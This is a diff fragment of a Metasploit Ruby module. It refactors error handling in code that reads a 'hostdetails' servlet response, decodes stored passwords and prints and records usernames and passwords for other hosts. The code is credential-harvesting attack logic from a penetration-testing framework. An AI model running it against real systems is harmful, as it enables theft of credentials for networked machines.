@@ -115,62 +115,64 @@ def run
115
115
}
116
116
} )
117
117
118
- if res && res . code == 200
119
- begin
120
- doc = REXML ::Document . new ( res . body )
121
- rescue
122
- fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
123
- end
124
- doc . elements . each ( 'Details/Hosts' ) do |ele |
125
- # Add an empty string if a variable doesn't exist, we have to check it
126
- # somewhere and it's easier to do it here.
127
- dns_name = ( ele . attributes [ "dns_name" ] != nil ? ele . attributes [ "dns_name" ] : "" )
128
- host_ipaddress = ( ele . attributes [ "host_ipaddress" ] != nil ? ele . attributes [ "host_ipaddress" ] : "" )
129
-
130
- ele . elements . each ( 'HostDetails' ) do |details |
131
- domain_name = ( details . attributes [ "domain_name" ] != nil ? details . attributes [ "domain_name" ] : "" )
132
- username = ( details . attributes [ "username" ] != nil ? details . attributes [ "username" ] : "" )
133
- password_encoded = ( details . attributes [ "password" ] != nil ? details . attributes [ "password" ] : "" )
134
- password = decode_password ( password_encoded )
135
- type = ( details . attributes [ "type" ] != nil ? details . attributes [ "type" ] : "" )
136
- subtype = ( details . attributes [ "subtype" ] != nil ? details . attributes [ "subtype" ] : "" )
137
-
138
- if not ( type =~ /Windows/ or subtype =~ /Windows/ )
139
- # With AS/400 we get some garbage in the domain name even though it doesn't exist
140
- domain_name = ""
141
- end
142
-
143
- msg = "Got login to #{ host_ipaddress } | running "
144
- msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
145
- msg << " | username: "
146
- msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
147
- msg << " | password: #{ password } "
148
- print_good ( msg )
149
-
150
- cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
151
-
152
- credential_core = report_credential_core ( {
153
- password : password ,
154
- username : username ,
155
- } )
156
-
157
- begin
158
- host_login_data = {
159
- address : host_ipaddress ,
160
- service_name : type ,
161
- workspace_id : myworkspace_id ,
162
- protocol : 'tcp' ,
163
- port : 0 , # can be any port, so just set to 0 else the cred api screams
164
- core : credential_core ,
165
- status : Metasploit ::Model ::Login ::Status ::UNTRIED
166
- }
167
- create_credential_login ( host_login_data )
168
- end
118
+ unless res && res . code == 200
119
+ fail_with ( Failure ::NotFound , "#{ peer } - Failed to reach hostdetails servlet" )
120
+ end
121
+
122
+ begin
123
+ doc = REXML ::Document . new ( res . body )
124
+ rescue
125
+ fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
126
+ end
127
+
128
+ doc . elements . each ( 'Details/Hosts' ) do |ele |
129
+ # Add an empty string if a variable doesn't exist, we have to check it
130
+ # somewhere and it's easier to do it here.
131
+ dns_name = ( ele . attributes [ "dns_name" ] != nil ? ele . attributes [ "dns_name" ] : "" )
132
+ host_ipaddress = ( ele . attributes [ "host_ipaddress" ] != nil ? ele . attributes [ "host_ipaddress" ] : "" )
133
+
134
+ ele . elements . each ( 'HostDetails' ) do |details |
135
+ domain_name = ( details . attributes [ "domain_name" ] != nil ? details . attributes [ "domain_name" ] : "" )
136
+ username = ( details . attributes [ "username" ] != nil ? details . attributes [ "username" ] : "" )
137
+ password_encoded = ( details . attributes [ "password" ] != nil ? details . attributes [ "password" ] : "" )
138
+ password = decode_password ( password_encoded )
139
+ type = ( details . attributes [ "type" ] != nil ? details . attributes [ "type" ] : "" )
140
+ subtype = ( details . attributes [ "subtype" ] != nil ? details . attributes [ "subtype" ] : "" )
141
+
142
+ if not ( type =~ /Windows/ or subtype =~ /Windows/ )
143
+ # With AS/400 we get some garbage in the domain name even though it doesn't exist
144
+ domain_name = ""
145
+ end
146
+
147
+ msg = "Got login to #{ host_ipaddress } | running "
148
+ msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
149
+ msg << " | username: "
150
+ msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
151
+ msg << " | password: #{ password } "
152
+ print_good ( msg )
153
+
154
+ cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
155
+
156
+ credential_core = report_credential_core ( {
157
+ password : password ,
158
+ username : username ,
159
+ } )
160
+
161
+ begin
162
+ host_login_data = {
163
+ address : host_ipaddress ,
164
+ service_name : type ,
165
+ workspace_id : myworkspace_id ,
166
+ protocol : 'tcp' ,
167
+ port : 0 , # can be any port, so just set to 0 else the cred api screams
168
+ core : credential_core ,
169
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
170
+ }
171
+ create_credential_login ( host_login_data )
169
172
end
170
173
end
171
- else
172
- print_error ( "#{ peer } - Failed to reach hostdetails servlet" )
173
174
end
175
+
174
176
end
175
177
176
178
print_line
0 commit comments